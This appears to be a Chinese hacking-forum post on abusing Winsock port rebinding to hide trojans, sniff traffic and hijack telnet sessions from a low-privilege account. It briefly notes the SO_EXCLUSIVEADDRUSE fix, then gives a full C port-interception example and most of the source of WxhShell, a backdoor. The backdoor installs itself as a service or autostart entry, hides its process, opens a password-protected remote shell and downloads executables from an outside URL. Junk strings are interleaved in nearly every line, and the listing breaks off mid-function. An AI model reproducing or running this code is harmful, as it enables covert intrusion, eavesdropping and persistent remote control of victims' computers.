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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: t#]VR7]  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); RD:LNl<0sh  
3`"k1W  
  saddr.sin_family = AF_INET; }4Gn$'e  
hH?ke(&=f  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); oJ=u pnBn-  
%+ MYg^  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); " M&zW&  
VOmS>'$  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 N,cj[6;T%  
g87M"kQKA  
  这意味着什么?意味着可以进行如下的攻击: Zl2doXC  
vZSwX@0  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 v[m1R'  
`zcpaE.@  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) wS:`c J  
baf@"P9@\A  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 "9H#pj -  
^DR`!.ttr  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ".fnx8v,  
@hOY&  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ) .H nK  
8 A#\V  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ^F/H?V/PX  
LS1}j WU!  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Sj4@pMh4  
?eR^\-e  
  #include 5kj=Y]9\I  
  #include 55x.Q  
  #include r P&.`m88n  
  #include    d!q)FRzi  
  DWORD WINAPI ClientThread(LPVOID lpParam);   7:S)J~s*O  
  int main() Cx`?}A\%  
  { uacVF[9|W  
  WORD wVersionRequested; HBgt!D0MZ  
  DWORD ret; |Iq\ZX%q  
  WSADATA wsaData; :WN*wd  
  BOOL val; -M?s<R[&  
  SOCKADDR_IN saddr; 0-A@X>6bs  
  SOCKADDR_IN scaddr; l'(7p`?  
  int err; lV<j?I~?Q  
  SOCKET s; ;z^C\=om  
  SOCKET sc; ,7|2K&C5  
  int caddsize; }o#6g|"\sY  
  HANDLE mt; Z6r_T  
  DWORD tid;   rc]`PV  
  wVersionRequested = MAKEWORD( 2, 2 ); mE_?E&T`|  
  err = WSAStartup( wVersionRequested, &wsaData ); FDO$(&  
  if ( err != 0 ) {  |<1  
  printf("error!WSAStartup failed!\n"); ]W 6!Xw)[  
  return -1; |B.tBt^  
  } C)`y<O  
  saddr.sin_family = AF_INET; !XS ;&s7[*  
   +}0/ %5 =1  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 D[ (A`!)  
+&hd3  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); bIahjxd:  
  saddr.sin_port = htons(23); g)#neEA J  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) q~:k[@`.  
  { {kgV3 [%>  
  printf("error!socket failed!\n"); 2_lb +@[W  
  return -1; ey>V^Fj  
  } r5N.Qt8  
  val = TRUE; zHvG3Ed@  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 hbv>Jjd  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 3]1uDgfr  
  { WfE,U=e*  
  printf("error!setsockopt failed!\n"); I= 'S).  
  return -1; 7ClN-/4  
  } BiUbg6T.G  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; @'{m-?*  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 q}mQm'  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 U(cV#@Y  
A~Ov(  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) *XZlnO  
  { >|22%YVX  
  ret=GetLastError(); y0D="2)  
  printf("error!bind failed!\n"); k&PxhDf  
  return -1; qXJBLIG  
  } &}G2;O}3  
  listen(s,2); )a%kAUNj  
  while(1) 2pEr s|r  
  { Bdd>r# ]  
  caddsize = sizeof(scaddr); 0R%R2p'wG  
  //接受连接请求 ki[Yu+';}  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ]ozZW:  
  if(sc!=INVALID_SOCKET) yH0BNz8V  
  { -_RMiGM?T  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); as?~N/}  
  if(mt==NULL) HG/`5$L +}  
  { Hki  
  printf("Thread Creat Failed!\n"); fYuz39#*  
  break; 4iiW{rh4  
  } '%$)"g]/#  
  } l |c#  
  CloseHandle(mt); 3~7X2}qU  
  } |Y6+Y{|\  
  closesocket(s); VYb6#sl  
  WSACleanup(); ?,J'3nZ'  
  return 0; A[F tPk{k  
  }   !z7j.u`Y  
  DWORD WINAPI ClientThread(LPVOID lpParam) k<098F  
  { /K{` gc  
  SOCKET ss = (SOCKET)lpParam; gxS*rzCG  
  SOCKET sc; y()7m/  
  unsigned char buf[4096]; J1Ay^*qRU  
  SOCKADDR_IN saddr; Vu3;U  
  long num; H]7MNY  
  DWORD val; t7"vAjZU  
  DWORD ret; [f9U9.fR  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Ps@a@d"83  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ,,hW|CmN30  
  saddr.sin_family = AF_INET; Gy+/P6  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 9%i|_c}  
  saddr.sin_port = htons(23); biy1!r  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %Y7\0q~Z  
  { 6PF7Wl7.  
  printf("error!socket failed!\n"); `@$qy&AJ  
  return -1; aXAV`%b  
  } " Zo<$p3]  
  val = 100; 5.KhI<[  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6  XZF8W  
  { FwB }@)3  
  ret = GetLastError(); 1'O++j_%y  
  return -1; \OV><|Lkh  
  } HzcI2 P`|  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,i>{yrsOh  
  { 8U98`# i  
  ret = GetLastError(); 3oH.1M/  
  return -1; q2o`.f+I  
  } $e bx  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) (%&HufT  
  { ;}iV`)S  
  printf("error!socket connect failed!\n"); o5NV4=  
  closesocket(sc); ]kXiT Yg  
  closesocket(ss); ia'eV10  
  return -1; ak :Y<}  
  } F/91Es  
  while(1) Fj?gXc5{  
  { ,4O|{Iu#n  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 #le1 ^ <w7  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 sqtMhUQ?>w  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ! ^~ ^D<  
  num = recv(ss,buf,4096,0); }XJA#@  
  if(num>0) ?pE)K<+Zkf  
  send(sc,buf,num,0); k0@b"y*  
  else if(num==0) 4=BIYC"Lu  
  break; Ez\TwK  
  num = recv(sc,buf,4096,0); JDp"!x{O  
  if(num>0) :5YL!D/&  
  send(ss,buf,num,0); F$tshe(  
  else if(num==0) Zb p+b;  
  break; ,;&j*qFi  
  } ! MTmG/^  
  closesocket(ss); AQx:}PO  
  closesocket(sc); 'AU:[eyUV  
  return 0 ; /6K9? /  
  } n(#|  
8-s7^*!  
jN[P$} #b`  
========================================================== F'~\!dNL  
yYdow.b!  
下边附上一个代码,,WXhSHELL |^S{vub  
uWtj?Q+M|  
========================================================== i[IOR0  
mz[Q]e~&i  
#include "stdafx.h" -:$#koW  
C2X$bX"  
#include <stdio.h> TJ_<21a  
#include <string.h> |c<h& p  
#include <windows.h> "j2th.  
#include <winsock2.h> 8zI*<RX.Q  
#include <winsvc.h> o_i N(K  
#include <urlmon.h> k_o$ Ci  
a3f- 9LN  
#pragma comment (lib, "Ws2_32.lib") >bLhCgF:"  
#pragma comment (lib, "urlmon.lib") TJO?BX_9  
z^FJ  
#define MAX_USER   100 // 最大客户端连接数 6T9?C|q  
#define BUF_SOCK   200 // sock buffer ]jB`"to*}  
#define KEY_BUFF   255 // 输入 buffer at )m*  
>WcOY7  
#define REBOOT     0   // 重启 WA?We7m$  
#define SHUTDOWN   1   // 关机 ~WW!P_wI,  
Ib&]1ger#=  
#define DEF_PORT   5000 // 监听端口 >d9b"T  
x@p1(V.  
#define REG_LEN     16   // 注册表键长度 p=d,kY  
#define SVC_LEN     80   // NT服务名长度 "XB6k 0.#  
nu6p{_M  
// 从dll定义API {hH8+4c7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1_B;r9x  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); h N U.y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); '}N4SrU$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); d%~OEq1i"  
}~+q S`  
// wxhshell配置信息 J?$`Tnx^  
struct WSCFG { _, r6t  
  int ws_port;         // 监听端口  oB8LJZ;  
  char ws_passstr[REG_LEN]; // 口令 ) >H11o{&  
  int ws_autoins;       // 安装标记, 1=yes 0=no UfNcI[xr  
  char ws_regname[REG_LEN]; // 注册表键名 }nK=~Wcu\  
  char ws_svcname[REG_LEN]; // 服务名 ZWb\^N  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }? :T*CJ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1]wo    
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ($X2SIZh  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,7n8_pU  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [NU@A>H  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 l|S_10x5  
5@nv cCp  
}; nhLw&V3y  
aE2Yl  
// default Wxhshell configuration Ro.br:'Bw  
struct WSCFG wscfg={DEF_PORT, vduh5.  
    "xuhuanlingzhe", G<FB:?|  
    1, C5^9D  
    "Wxhshell", _X~xfmU  
    "Wxhshell", c{{RP6o/j=  
            "WxhShell Service", ?hOv Y)  
    "Wrsky Windows CmdShell Service",  (2dkmn  
    "Please Input Your Password: ", B42qiV2/k  
  1, D9r4oRkP*  
  "http://www.wrsky.com/wxhshell.exe", qpX`Z Y^  
  "Wxhshell.exe" 3Lm7{s?=Z-  
    }; 0I}c|V'P  
=GL^tAUJ  
// 消息定义模块 yaK4% k  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; t&MLgu  
char *msg_ws_prompt="\n\r? for help\n\r#>"; xsRu~'f  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8S@"6TG`  
char *msg_ws_ext="\n\rExit."; blmY=/]  
char *msg_ws_end="\n\rQuit."; [-hsG E  
char *msg_ws_boot="\n\rReboot..."; cdv0:+[P  
char *msg_ws_poff="\n\rShutdown..."; dG%{&W9  
char *msg_ws_down="\n\rSave to "; w^)_Fk3  
-"x25~k!?F  
char *msg_ws_err="\n\rErr!";  <xwaFZ  
char *msg_ws_ok="\n\rOK!"; hOr4C4  
2T-3rC)  
char ExeFile[MAX_PATH]; znNv;-q  
int nUser = 0; hEfFMi=a`  
HANDLE handles[MAX_USER]; %!V=noo  
int OsIsNt; F>"B7:P1:Q  
D)J'xG_<O  
SERVICE_STATUS       serviceStatus; ~?:Xi_3Lo  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; dRXdV7-!  
7s2e> 6Q[  
// 函数声明 #QKgY7  
int Install(void); C''[[sw'K  
int Uninstall(void); `YK%I8  
int DownloadFile(char *sURL, SOCKET wsh); cE3V0voSw1  
int Boot(int flag); rE4qPzL  
void HideProc(void); 4 moVS1  
int GetOsVer(void); 3.D|xE]g  
int Wxhshell(SOCKET wsl); W4rh7e4  
void TalkWithClient(void *cs); ufXU  
int CmdShell(SOCKET sock); (d}z>?L  
int StartFromService(void); G/?j$T  
int StartWxhshell(LPSTR lpCmdLine);  4d )Q  
xXNL UP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1" #W1im  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 'sN (=CQ  
_|KeB(W  
// 数据结构和表定义 E@S5|CM  
SERVICE_TABLE_ENTRY DispatchTable[] = :~B'6b  
{ 4e9'yi  
{wscfg.ws_svcname, NTServiceMain}, Xd@x(T~'X  
{NULL, NULL} N0']t Gh2  
}; @P xX]e  
}Oh@`xTxt  
// 自我安装 =]hPX  
int Install(void) jthGNVZ  
{ 2 NrMse  
  char svExeFile[MAX_PATH]; 7d'gG[Z^^  
  HKEY key; x $=-lB  
  strcpy(svExeFile,ExeFile); h]#bPb  
]WP[hF  
// 如果是win9x系统,修改注册表设为自启动 nLv"ON~  
if(!OsIsNt) { 4.0JgX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *Wmn!{\g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); RB `<Zw  
  RegCloseKey(key); OBJk\j+Wi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Kh;jiK !  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @Zd/>'  
  RegCloseKey(key); pCm|t!,  
  return 0; Lv`NS+fX  
    } ; \N${YIn  
  }  2t7Hu)V  
} :D!}jN/)  
else { sVJwe\!  
%knPeo&  
// 如果是NT以上系统,安装为系统服务 6 su^yt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;p}X]e l}  
if (schSCManager!=0) p4-bD_  
{ =2yg:D  
  SC_HANDLE schService = CreateService y 2v69nu~q  
  ( -8r9DS -/W  
  schSCManager,  j,c8_;X!  
  wscfg.ws_svcname, M&5;Qeoiv  
  wscfg.ws_svcdisp, zxt&oT0Q  
  SERVICE_ALL_ACCESS, >9v?p=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Lp?JSMe  
  SERVICE_AUTO_START, 8+7=yN(  
  SERVICE_ERROR_NORMAL, ? m$7)@p  
  svExeFile, p&%M=SzN  
  NULL, :U7m@3czU  
  NULL, 4vk^=  
  NULL, 0Tm"Zh?B|  
  NULL, )FG<|G(  
  NULL !Y3 *\  
  ); 68^5X"OGF  
  if (schService!=0) D|1pBn.b]'  
  { LBlaDw  
  CloseServiceHandle(schService);  p|D-ez8  
  CloseServiceHandle(schSCManager); +'NiuN  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); u,6 'yB'u  
  strcat(svExeFile,wscfg.ws_svcname); DNy1} 3wg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { P|S'MS';:  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); G1d!a6>  
  RegCloseKey(key); cQaEh1n  
  return 0; _/)?GXwLn  
    } }Dig'vpMx  
  } I+Q`i:\,q  
  CloseServiceHandle(schSCManager); :X`Bc"  
} =m4_8)-8u  
} '42P=vzo  
B(GcPDj(K  
return 1; % DQ.f*%  
} OudD1( )W  
o >=YoG  
// 自我卸载 A@wRP8<GKj  
int Uninstall(void) z.9 #AN=&[  
{ AID}NQ Qj_  
  HKEY key; #0HF7C3  
o 6$Q>g`]  
if(!OsIsNt) { K%: :  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  (BgO<  
  RegDeleteValue(key,wscfg.ws_regname); 4g#pQ  
  RegCloseKey(key); G B+U>nf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ms8PFu(f  
  RegDeleteValue(key,wscfg.ws_regname); VK+#!!Ha  
  RegCloseKey(key); Xf.w( -  
  return 0; S-8O9  
  } .&ynS  
} `j59MSuK  
} :;u~M(R  
else { ]FLuiC  
vXnTPjbE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Cm;WQuv@  
if (schSCManager!=0) B 0%kq7>g  
{ 7oPBe1P,K+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); V*U7-{ *a  
  if (schService!=0) &Jj^)GBU  
  { ybtje=3E  
  if(DeleteService(schService)!=0) { n>X  
  CloseServiceHandle(schService); %S22[;v{N  
  CloseServiceHandle(schSCManager); )gNHD?4x  
  return 0; |WeLmy%9  
  } ?-O(EY1E  
  CloseServiceHandle(schService); #(@dN+  
  } +fzZ\  
  CloseServiceHandle(schSCManager); &X^~%\F:2  
} wX7B&w8wV  
} &^th KXEC  
WK#lE&V3  
return 1; /Mf45U<  
} =5_8f  
4EuZe:'X  
// 从指定url下载文件 tkWWR%c"  
int DownloadFile(char *sURL, SOCKET wsh) K/Axojo  
{ (@`+Le  
  HRESULT hr; SDV} bN  
char seps[]= "/"; u=#!je  
char *token; `c{i +  
char *file; NF0} eom  
char myURL[MAX_PATH]; Vm&fw".J  
char myFILE[MAX_PATH]; THK)G2 =  
33couAP#  
strcpy(myURL,sURL); a+*|P  
  token=strtok(myURL,seps); x!!: jL'L  
  while(token!=NULL) l4u`R(!n5  
  { RXgi>Hz  
    file=token; O" ['.b  
  token=strtok(NULL,seps); fCZbIt)Eh  
  } ~z>2`^Z"  
L<QqQ"`  
GetCurrentDirectory(MAX_PATH,myFILE); WJe  
strcat(myFILE, "\\"); &e_M \D  
strcat(myFILE, file); G?=X!up(  
  send(wsh,myFILE,strlen(myFILE),0); "S#0QH%5  
send(wsh,"...",3,0); L3X>v3CZ5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); MsX`TOyO!  
  if(hr==S_OK)  UX2`x9  
return 0; Fg5c;sls  
else CbS9fc&  
return 1; 6E@r9U  
<JYV G9s}  
} E[2c`XFd8  
athU  
// 系统电源模块 T -C2V$1  
int Boot(int flag) ;% !'K~  
{ "z< =S  
  HANDLE hToken; Gt\F),@  
  TOKEN_PRIVILEGES tkp; ;2)@NH  
)"A+T&  
  if(OsIsNt) { C#>c(-p>RC  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); zWB>;Z}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); tQz-tQg  
    tkp.PrivilegeCount = 1; N\HOo-X  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; WK /Byd.Z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); WZ@nuK.39T  
if(flag==REBOOT) { #\@*C=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) E;D9S  
  return 0; e][U ;  
} : B$ d  
else { v~ZdMQvwt  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _hAp@? M  
  return 0; U $X"W'  
} *8,]fBUq  
  } 8>6+]]O  
  else { ^C_Y[i ~|  
if(flag==REBOOT) { y!mjZR,&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )@\= pE.H  
  return 0; t~Cul+  
} =+'4u  
else { @lDoMm,m'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 29 Yg>R!/  
  return 0; ~H7m7  
} mcpM<vY/H  
} M{3He)&  
4}!riWR   
return 1; bh3}[O,L A  
} N'i%9SBcg  
JN$v=Ox{  
// win9x进程隐藏模块 D7olu29  
void HideProc(void) 9`$fU)K[Pl  
{ MHpPb{ ^  
4! XB?-.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); SQ1.jcWW[  
  if ( hKernel != NULL ) nQa5e_q!u  
  { k*w]a  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >hJ$~4?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); m3+MRy 5  
    FreeLibrary(hKernel); B<I%:SkF@  
  } (es+VI2!&C  
+=)< Su.  
return; g>1yQ  
} mawomna  
SWN i@  
// 获取操作系统版本 _rR+u56y-  
int GetOsVer(void) (/a2#iW  
{ 26G2. /**<  
  OSVERSIONINFO winfo; %FDi7Rx  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +\fr3@Yc  
  GetVersionEx(&winfo); >8"oO[U5>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 'nz;|6uC  
  return 1; #5wOgOv  
  else X};m\Bz  
  return 0; w4Qqo(  
} -icOg6%  
Kyt.[" p  
// 客户端句柄模块 ug'I:#@2  
int Wxhshell(SOCKET wsl) IEfzu L<v  
{ /`Yy(?,  
  SOCKET wsh; J*o :RnB  
  struct sockaddr_in client; ig4wwd@|  
  DWORD myID; I?YTX  
[^EU'lewnW  
  while(nUser<MAX_USER) /;-KWu+5=  
{ 6vbWe@#U/  
  int nSize=sizeof(client); %6+J]U  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >6*"g{/  
  if(wsh==INVALID_SOCKET) return 1; }zY)H9J~  
#s$b\"4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); K{.s{;#  
if(handles[nUser]==0) 7F5 t&  
  closesocket(wsh); e^&QT  
else 'Y IFHn$!  
  nUser++; 8/,m8UOY  
  } uSLO"\zysX  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }`8g0DPuD9  
XKp.]c wP  
  return 0; "u~l+aW0  
} Tf7$PSupP  
gcqcY  
// 关闭 socket a*REx_gLG  
void CloseIt(SOCKET wsh) \{AxDk{z#  
{ Y]/(R"-2G  
closesocket(wsh); pi sk v[  
nUser--; ] e!CH <N  
ExitThread(0); ;ZHKTOoK  
} a\S"d  
O{zY(`[  
// 客户端请求句柄 z`qBs  
void TalkWithClient(void *cs) mr6/d1af_  
{ 8ar2N)59  
no- Lx-x  
  SOCKET wsh=(SOCKET)cs; L&=j O0_  
  char pwd[SVC_LEN]; d af$`  
  char cmd[KEY_BUFF]; lTJ1]7)  
char chr[1]; cN0|! nm*  
int i,j; &sR=N60n  
e:hkWcV  
  while (nUser < MAX_USER) { EF=.L{  
q$z#+2u  
if(wscfg.ws_passstr) { |7n&I`#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AN7WMX  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $C0Nv Jf  
  //ZeroMemory(pwd,KEY_BUFF); 8:;_MBt  
      i=0; Y^m2ealC  
  while(i<SVC_LEN) { 0-pLCf  
[R CUP.  
  // 设置超时 <9 lZ%j;  
  fd_set FdRead; j89|hG)2  
  struct timeval TimeOut; s|Ls  
  FD_ZERO(&FdRead); %[\: 8  
  FD_SET(wsh,&FdRead); C=(-oI n  
  TimeOut.tv_sec=8; zqfv|3-!}  
  TimeOut.tv_usec=0; []:;8fY  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @'L/]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .Gq.st%  
4@OnMj{M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F,Y,0f@4U9  
  pwd=chr[0]; '$pT:4EuGq  
  if(chr[0]==0xd || chr[0]==0xa) { h=SQ]nV{  
  pwd=0; KY H*5  
  break; ^6[KzE#*  
  } 8v@6 &ras@  
  i++; dQ?4@  
    } pg~vteq5  
0}Rxe  
  // 如果是非法用户,关闭 socket \]GO*]CaV  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); B!GpD@U  
} F{)YdqQ  
+qq,;npi  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); BT;hW7){9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rHPda?&H  
E@TX>M-&  
while(1) { WRU/^g3O@'  
O%5cMz?eU  
  ZeroMemory(cmd,KEY_BUFF); #\N?ka}!  
,\!4 A  
      // 自动支持客户端 telnet标准   ;tTM3W-h  
  j=0; :J]S+tQ)  
  while(j<KEY_BUFF) { =Xze).g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "6_#APoP  
  cmd[j]=chr[0]; 9|WBJ6  
  if(chr[0]==0xa || chr[0]==0xd) { q"ba~@<BEl  
  cmd[j]=0; 2A|^6#XN'  
  break; 0i\ol9,bf  
  } u\=gps/Z  
  j++; _d6mf4M]5  
    } -B :Z(]3#\  
R9&T0Qf  
  // 下载文件 XRXKO>4q  
  if(strstr(cmd,"http://")) { )bRe"jxn7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +#8?y 5~q  
  if(DownloadFile(cmd,wsh)) LqIMU4Ex  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); c'OJodpa  
  else c\FyX\ i  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^@l_K +T  
  } vLn<=.  
  else { mNN,}nHu  
o/buU{)y  
    switch(cmd[0]) { ;5^ grr@,4  
  .O @bX)  
  // 帮助 IIeEe7%#  
  case '?': { Gir_.yc/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); YS=|y}Q|7d  
    break; >C"cv^%c  
  } Pc{D,/EpR  
  // 安装 vW]Frb  
  case 'i': { SFoF]U09  
    if(Install()) VOwt2&mZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GbUcNROr  
    else C&D]!Zv F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8OH<ppi  
    break; ,'5P[-  
    } /b6Y~YbgU  
  // 卸载 ^!k^=ST1J  
  case 'r': { d|TRP,y  
    if(Uninstall()) XOa<R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Noz+\O\  
    else 7c!oFwM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j{V xB  
    break; Cvm ZW$5Yo  
    } &=|W95  
  // 显示 wxhshell 所在路径 Dn$zwksSs  
  case 'p': { OH5 kT$  
    char svExeFile[MAX_PATH]; oV ?tp4&  
    strcpy(svExeFile,"\n\r"); )ZzwD]  
      strcat(svExeFile,ExeFile); %#Wg>6  
        send(wsh,svExeFile,strlen(svExeFile),0); pTUsdao^,  
    break; ;1S{xd*^N  
    } "A__z|sQ  
  // 重启 (~-q}_G;Q  
  case 'b': { \s&w0V`Y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Mp75L5  
    if(Boot(REBOOT)) !IoD";Oi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pX6T7  
    else { T1PWFw\GH  
    closesocket(wsh); aO "JT  
    ExitThread(0); |F<U;xV$p  
    } 0VoC|,$U  
    break; St|sUtj<r  
    } |:!#k A  
  // 关机 qfC9 {gu  
  case 'd': { s`C#=l4  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;}f%bE  
    if(Boot(SHUTDOWN)) cWFvYF  
